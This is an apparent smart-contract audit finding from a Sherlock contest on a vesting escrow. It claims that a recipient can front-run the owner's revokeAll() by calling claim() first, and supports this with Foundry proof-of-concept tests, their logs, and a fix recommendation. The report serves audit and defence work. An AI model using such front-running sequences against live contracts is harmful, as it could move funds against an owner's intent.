The revokeAll() method are subject to front-run attack

Summary

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/2d14c2b84b69c53a45c81aa4f907af9617f9a94f/rio-vesting-escrow/src/VestingEscrow.sol#L177 revokeAll() method is uses to disable further flow of tokens and revoke all tokens to owner, but user can front-runs calls claim()method and abtainunclaimed() vesting .

Vulnerability Detail

In normal circumstances，owner decides to revokeAll() and Recipient is unaware of this

      function testPoc() public{
        vm.warp(block.timestamp + ((endTime - startTime) / 4));
        console.log("unclaimed amount",deployedVesting.unclaimed());
        vm.warp(block.timestamp + ((endTime - startTime) / 2));
        console.log("unclaimed amount",deployedVesting.unclaimed());

        //vm.prank(recipient);
        console.log("recipient balance before revokeAll",token.balanceOf(recipient));
        //uint256 claimAmount = deployedVesting.claim(recipient, type(uint256).max);
        console.log("owner balance before revokeAll",token.balanceOf(factory.owner()));
        vm.prank(factory.owner());
        deployedVesting.revokeAll();

        console.log("recipient balance after revokeAll",token.balanceOf(recipient));
        console.log("owner balance after revokeAll",token.balanceOf(factory.owner()));
    }

    Logs:
  unclaimed amount 250000000000000000
  unclaimed amount 750000000000000000
  recipient balance before revokeAll 0
  owner balance before revokeAll 0
  recipient balance after revokeAll 0
  owner balance after revokeAll 1000000000000000000

Recipient sees this and front-runs calls claim() method and claim vesting.

function testPoc() public{
        vm.warp(block.timestamp + ((endTime - startTime) / 4));
        console.log("unclaimed amount",deployedVesting.unclaimed());
        vm.warp(block.timestamp + ((endTime - startTime) / 2));
        console.log("unclaimed amount",deployedVesting.unclaimed());

        console.log("front-run----------");

        vm.prank(recipient);
        console.log("recipient balance before revokeAll",token.balanceOf(recipient));
        uint256 claimAmount = deployedVesting.claim(recipient, type(uint256).max);
        console.log("owner balance before revokeAll",token.balanceOf(factory.owner()));
        vm.prank(factory.owner());
        deployedVesting.revokeAll();

        console.log("recipient balance after revokeAll",token.balanceOf(recipient));
        console.log("owner balance after revokeAll",token.balanceOf(factory.owner()));

    }
    [PASS] testPoc() (gas: 150302)
Logs:
  unclaimed amount 250000000000000000
  unclaimed amount 750000000000000000
  front-run----------
  recipient balance before revokeAll 0
  owner balance before revokeAll 0
  recipient balance after revokeAll 750000000000000000
  owner balance after revokeAll 250000000000000000

Impact

The impact is a violation of system design and destroys the normal functioning of the revokeAll() method.

Code Snippet

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/2d14c2b84b69c53a45c81aa4f907af9617f9a94f/rio-vesting-escrow/src/VestingEscrow.sol#L177

Tool used

Manual Review

Recommendation

Lock the claim() method before calling the revokeAll() method

Duplicate of #63

sherlock-audit / 2024-01-rio-vesting-escrow-judging

CL001 - The revokeAll() method are subject to front-run attack #98